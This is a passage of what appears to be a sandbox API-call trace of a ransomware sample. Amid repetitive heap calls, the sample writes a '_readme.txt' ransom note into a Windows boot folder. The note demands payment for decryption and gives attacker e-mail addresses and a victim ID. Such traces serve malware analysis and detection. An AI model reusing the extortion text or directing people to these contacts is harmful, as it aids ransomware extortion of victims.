lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.513] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.513] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0066.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.513] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.513] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.513] PathFindFileNameW (pszPath="") returned="" [0066.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.513] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.513] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.513] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.513] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.514] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0066.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.514] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.514] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0066.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.514] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.515] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.515] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.515] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.515] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.515] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.516] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.516] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.516] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.516] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.517] CloseHandle (hObject=0x5c4) returned 1 [0066.517] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.517] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.517] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.517] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.517] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.517] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.517] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.517] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.517] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.517] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32e4870, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.517] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32e4870, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.517] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.517] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.517] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.518] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.519] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 